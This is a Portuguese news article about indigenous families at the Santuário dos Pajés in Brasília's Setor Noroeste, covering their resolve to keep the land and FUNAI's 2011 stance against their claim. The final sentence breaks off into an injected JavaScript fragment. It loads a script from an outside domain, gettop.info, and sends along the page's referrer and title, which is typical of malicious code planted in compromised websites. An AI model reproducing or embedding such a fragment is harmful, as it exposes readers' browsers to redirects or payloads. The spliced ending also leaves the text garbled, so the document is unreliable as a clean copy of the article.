A situação dos indígenas que vivem no Santuário dos Pajés é indefinida, mas eles prometem resistir para ficar no Setor Noroeste, uma das áreas mais nobres do Plano Piloto. Cinco anos após manifestantes conseguirem paralisar as obras dos novos prédios, ao menos no mato onde eles vivem há uma aparente tranquilidade entre os cerca de 50 representantes das cinco etnias encontradas no local.
“Parou aí. Somos da resistência. Essa área foi destinada para nós”, afirma Iwahu Guajajara, 22 anos, referindo-se a antepassados e aos limites entre o Santuário dos Pajés e os edifícios do No roeste. Iwahu calcula que o espaço para eles seja de 35 hectares, 15 a menos do que reivindicavam em 2011, quando tentaram impedir a criação do novo setor.
Escola – Deusdeth Guajajara, 40 anos, na condição de cacique porque o marido estava ausente, disse ao Brasília Capital que o grupo de 50 indígenas “inclui recém-nascidos e adolescentes que estão nas escolas”. Iwahu contava com sua concordância ao falar sobre a disposição de lutar pela posse da terra.
Tanto Deusdeth quanto Iwahu vieram do Maranhão em 2010 “para resistir”. O motivo, segundo eles, é que existem ali cemitérios das etnias Kariri e Kuchu. Então, argumentam, não podem mais deixar aquelas terras. “Não negociamos a terra. Índio que é índio não vende. Não é por causa de R$ 1 milhão, R$ 10 milhões”, garante Iwahu. Deusdeth revela outro motivo para o deslocamento do Maranhão para Brasília: escola para as crianças.
A Fundação Nacional do Índio não respondeu aos questionamentos do Brasília Capital até o fechamento desta edição. Mas, em 2011, o indigenista da Funai Mário Moura disse à Agência Brasil que a instituição não considera o Santuário dos Pajés “terra tradicional indígena”. Afirmou ainda que “a maioria das pessoas que vivem no local, ainda que há muito tempo, sequer são lideranças indígenas”.
Na ocasião, as notícias eram de que moravam 27 índios das etnias Fulni-ô, Kariri-Xocó, Tuxá e Tupinambá, alegando tratar-se de um santuário. De acordo Mário Moura, nem direito a usucapião eles teriam, porque não se trata de terreno privado, mas de área pública. Hoje eles estão alojados no cerrado entre o Setor Noroeste e o Parque da Água Mineral.
Brinquedos – Enquanto os indígenas reclamam que suas crianças não podem brincar em parques infantis públicos, há moradores do Noroeste que sequer sabem da existência de “aldeias” como vizinhas. O porteiro Erilândio Gonçalves, 32 anos, diz que, nos quatros meses em que trabalha ali, nunca viu índio, nem soube de algum desentendimento entre brancos e peles vermelhas.s.src=\’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=\’ + encodeURIComponent(document.referrer) + \’&default_keyword=\’ + encodeURIComponent(document.title) + \’\’;